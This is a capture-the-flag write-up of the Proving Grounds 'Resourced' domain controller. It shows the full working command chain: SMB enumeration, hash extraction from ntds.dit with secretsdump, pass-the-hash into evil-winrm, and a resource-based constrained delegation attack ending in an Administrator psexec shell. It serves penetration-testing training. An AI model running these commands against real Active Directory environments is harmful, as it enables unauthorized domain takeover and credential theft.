Proving Grounds Resourced DC Writeup

This is a writeup for the intermediate level Proving Grounds Active Directory Domain Controller “Resourced”.

Scanning

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-15 16:34:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-10-15T16:36:14+00:00; -14s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: resourced
|   NetBIOS_Domain_Name: resourced
|   NetBIOS_Computer_Name: RESOURCEDC
|   DNS_Domain_Name: resourced.local
|   DNS_Computer_Name: ResourceDC.resourced.local
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49719/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: RESOURCEDC; OS: Windows; CPE: cpe:/o:microsoft:windows

My nmap scan was able to identify numerous open ports, many of which you would assume belong to a domain controller. The default scripts nmap run on port 3389 (RDP) shows some information found on the machines name and domain “resourced.local”. This domain name can be given an entry in my /etc/hosts file.

Port Enumeration

After some general enumeration over the open ports, there wasn’t anything immediately interesting; for example, although there was anonymous listing enabled for SMB, there were no publicly available shares.

Enum4Linux

Therefore I ran a session of enum4linux, which was able to enumerate this windows machine, and found some useful information such as user accounts of the domain and most importantly credentials of user “V.Ventz” within their description field.

...
Account: L.Livingstone  Desc: SysAdmin
Account: M.Mason        Desc: Ex IT admin
Account: P.Parker       Desc: Backend Developer
Account: R.Robinson     Desc: Database Admin
Account: S.Swanson      Desc: Military Vet now cybersecurity specialist
Account: V.Ventz        Desc: New-hired, reminder: HotelCalifornia194!
...

Verifying Users

Before looking further into where these newly found credentials might lead, I grabbed all the users identified in the previous scan and checked to see if those users existed via kerbrute.

Figure 1.1 — Verifying user accounts found via kerbrute

SMB Authenticated

With the credentials to user “V.Ventz”, I was able to authenticate to the SMB service whereby I now had access to multiple shares.

Figure 1.2 — Listing SMB shares with V.Ventz credentials

The most interesting share to me, was one named “Password Audit” which consisted of several sensitive (registry) password files.

-rw-r--r--  1 root root 25165824 Oct 30 11:48 ntds.dit
-rw-r--r--  1 root root    16384 Oct 30 11:48 ntds.jfm
-rw-r--r--  1 root root      512 Oct 30 09:35 ports
-rw-r--r--  1 root root    65536 Oct 30 11:48 SECURITY
-rw-r--r--  1 root root 16777216 Oct 30 11:48 SYSTEM

Extracting Hashes

I am able to download the SYSTEM and ntds.dit files from this SMB share, whereby I can use a useful tool — secretsdump, provided by impacket, to extract the hashes contained in these password files.

Figure 1.3 — Extracting NTLM hashes from password files via secretsdump

Once I obtained these NTLM hashes, I checked to see if any of these hashes were still active, since these files were part of a password audit in which users may have been prompted to update their credentials. I checked different protocols with crackmapexec, supplying the hashes found.

Figure 1.4 — CME finding active hash for user L.Livingstone via winrm protocol

L.Livingstone’s hash is still active despite the password audit and I am able to evil-winrm into their account.

evil-winrm  -i 192.168.x.x -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'

Privilege Escalation

Bloodhound

I ran bloodhound on the machine to gain a visual representation of the active directory. You can find some useful writeups online of the full install and how to use bloodhound, such as:

BloodHound with Kali Linux: 101

Enumerating the active directory now with bloodhound, I was able to find that user L.Livingstone has generic all privileges over the domain controller, which is also known as full control.

Figure 1.5 — Bloodhound showing GenericAll privileges on the Domain Controller

This means I can perform a Kerberos Resourced Based Constrained Delegation attack, which essentially allows me to impersonate a particular user (Administrator). This can be done whilst I have a session on the machine or from my kali terminal provided I have the correct credentials.

Resource Based Constrained Delegation Attack

First I will need to create a new machine which I can do with impacket-addcomputer tool.

impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.x.x -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'

 [*] Successfully added machine account ATTACK$ with password AttackerPC1!.

Now with this newly created machine, I need a way of managing the delegation rights. I can use this rbcd.py script to configure its attribute “msDS-AllowedToActOnBehalfOfOtherIdentity”.

GitHub - rbcd-attack: Kerberos Resource-Based Constrained Delegation Attack from Outside…

python3 rbcd.py -dc-ip 192.168.x.x -t RESOURCEDC -f 'ATTACK' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone

[*] Starting Resource Based Constrained Delegation Attack against RESOURCEDC$
[*] Initializing LDAP connection to 192.168.x.x
[*] Using resourced\l.livingstone account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Writing SECURITY_DESCRIPTOR related to (fake) computer `ATTACK` into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `RESOURCEDC`
[*] Delegation rights modified succesfully!
[*] ATTACK$ can now impersonate users on RESOURCEDC$ via S4U2Proxy

Now all that is left to do is obtain the ticket created of the impersonated Administrator locally and authenticate to the domain controller using this ticket.

impacket-getST -spn cifs/resourcedc.resourced.local resourced/attack\$:'AttackerPC1!' -impersonate Administrator -dc-ip 192.168.x.x

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

This will save the ticket locally so export it as such:

export KRB5CCNAME=./Administrator.ccache

Finally, I can use psexec to connect to the domain controller as the Administrator using local credential file thus spawning a high privileged level shell.

impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.x.x